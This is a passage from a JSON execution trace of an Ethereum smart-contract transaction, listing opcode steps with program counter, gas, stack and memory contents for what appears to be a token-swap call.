0081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":100899,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":100896,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":100893,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":100890,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":100887,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":100884,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":100874,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":100873,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":100871,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":100863,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":100862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0xade","0xe4","0xc4","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":100859,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4","0xc4","0x0","0xade"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":100856,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xade","0xc4","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":100854,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xade","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":100852,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xade","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":100850,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xade"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2782,"op":"JUMPDEST","gas":100842,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2783,"op":"CALLER","gas":100841,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2784,"op":"PUSH32","gas":100839,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2817,"op":"PUSH1","gas":100836,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2819,"op":"PUSH1","gas":100833,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2821,"op":"PUSH1","gas":100830,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","